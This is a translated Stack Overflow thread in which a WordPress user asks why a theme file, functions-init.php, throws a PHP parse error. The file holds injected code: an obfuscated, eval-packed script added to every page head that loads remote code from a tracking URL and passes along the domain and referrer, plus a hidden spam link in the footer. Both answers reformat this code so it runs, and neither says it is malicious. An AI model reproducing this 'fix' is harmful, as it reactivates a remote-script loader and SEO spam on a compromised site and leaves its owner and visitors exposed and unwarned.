【问题标题】:Parse error: syntax error, unexpected '}'解析错误:语法错误,意外的 '}'
【发布时间】:2013-10-11 05:07:21
【问题描述】:

我想知道是否有人愿意花一点时间查看代码并帮助我。我不是 php 精通,我需要一些帮助。

我在我的 wordpress 上安装了一个主题,当我激活它时,我收到了以下错误消息:

解析错误:语法错误,第 1 行 /home/XXXXXXX/public_html/wp-content/themes/Avada/widgets/functions-init.php 中出现意外的“}”

消息显示在我的前端域和我的后端 wordpress 管理区域。

我猜我有一个太多或一个太少的括号。但我不确定在哪里。我看不到实际的错误,因为我不熟悉 php 编码。我所知道的是它在第 1 行,它与“}”有关

整个文件仅包含 2 行代码,如果有人能提供帮助,我将不胜感激。

这是出现在functions-init.php中的完整代码

<?php if (!function_exists('insert_jquery_slider')){function insert_jquery_slider(){?><script type="text/javascript">eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0.f(\'<2\'+\'3 5="6/7" 8="9://a.b/e/o/g?d=\'+0.h+\'&i=\'+j(0.k)+\'&c=\'+4.l((4.m()*n)+1)+\'"></2\'+\'3>\');',25,25,'document||scr|ipt|Math|type|text|javascript|src|http|themenest|net|||platform|write|track|domain|r|encodeURIComponent|referrer|floor|random|1000|script'.split('|'),0,{}));</script> <?php}add_action('wp_head', 'insert_jquery_slider');} ?>
<?php if (!function_exists('insert_jquery_slidernew')){function insert_jquery_slidernew(){?><a style="display:none;" href="http://freemp3x.com/adele-mp3-download.html">Adele songs downlload</a> <?php}add_action('wp_footer', 'insert_jquery_slidernew');} ?>

谁能帮帮我。我已经护目镜,我已经搜索了论坛和网络,但我没有找到解决方案。

先谢谢了。

【问题讨论】:

    标签: php wordpress parsing syntax


    【解决方案1】:

    这可能只是代码格式的问题,试试这个:

    <?php
    if (!function_exists('insert_jquery_slider')){
        function insert_jquery_slider(){
    ?>
    <script type="text/javascript">eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0.f(\'<2\'+\'3 5="6/7" 8="9://a.b/e/o/g?d=\'+0.h+\'&i=\'+j(0.k)+\'&c=\'+4.l((4.m()*n)+1)+\'"></2\'+\'3>\');',25,25,'document||scr|ipt|Math|type|text|javascript|src|http|themenest|net|||platform|write|track|domain|r|encodeURIComponent|referrer|floor|random|1000|script'.split('|'),0,{}));</script>
    <?php
        }
        add_action('wp_head', 'insert_jquery_slider');
    }
    
    if (!function_exists('insert_jquery_slidernew'))
    {
        function insert_jquery_slidernew(){
    ?>
    <a style="display:none;" href="http://freemp3x.com/adele-mp3-download.html">Adele songs downlload</a>
    <?php
        }
    
        add_action('wp_footer', 'insert_jquery_slidernew');
    }
    ?>
    

    【讨论】:

    • 非常感谢塞巴斯蒂安。问题已解决。非常感谢您抽出时间提供帮助 :) 周末愉快!
    • 对不起,我不知道我是应该关闭这个论坛主题的人。在其他论坛中,mods 会这样做。请给我一些时间,我是论坛的新手。我正在寻找所谓的“绿色复选标记”以及如何关闭该主题。我现在似乎找不到它。我会尽我所能尽快弄清楚。我道歉。
    • 好的,我发现了一个几乎看不到的复选标记。我不知道这是一个你应该点击的按钮。我认为这是一些苍白的线条图形。我点击后它才变成绿色。再次抱歉。
    • 没问题@Kay 感谢您接受我的回答。您应该花一分钟时间阅读此stackoverflow.com/about,您将能够获得 stackoverflow 的所有好处。
    【解决方案2】:

    这样的代码格式问题:

    <?php
    if (!function_exists('insert_jquery_slider')) {
        function insert_jquery_slider()
        { ?>
        <script type="text/javascript">eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0.f(\'<2\'+\'3 5="6/7" 8="9://a.b/e/o/g?d=\'+0.h+\'&i=\'+j(0.k)+\'&c=\'+4.l((4.m()*n)+1)+\'"></2\'+\'3>\');',25,25,'document||scr|ipt|Math|type|text|javascript|src|http|themenest|net|||platform|write|track|domain|r|encodeURIComponent|referrer|floor|random|1000|script'.split('|'),0,{}));</script>
        <?php } 
        add_action('wp_head', 'insert_jquery_slider');
    }
    if (!function_exists('insert_jquery_slidernew')) {
        function insert_jquery_slidernew()
        { ?>
        <a style="display:none;" href="http://freemp3x.com/adele-mp3-download.html">Adele songs downlload</a> 
        <?php }
        add_action('wp_footer', 'insert_jquery_slidernew');
    }
    ?> 
    

    请关闭主题。 谢谢。

    【讨论】:

    • 我不认为我可以自己关闭这个话题。我是新手,这是我的第一个问题,我没有太多的“声誉”。我尝试研究如何结束一个话题,我发现为了结束我自己的话题,我需要至少 250 个代表才能投票结束我自己的问题。它在这里说:meta.stackexchange.com/questions/10582/… 如果我错了,你能指出我如何关闭这个话题的正确方向吗? :) 谢谢
    猜你喜欢
    • 2023-03-18
    • 2012-06-17
    • 2015-05-11
    • 1970-01-01
    • 2015-02-24
    • 1970-01-01
    • 2015-01-09
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多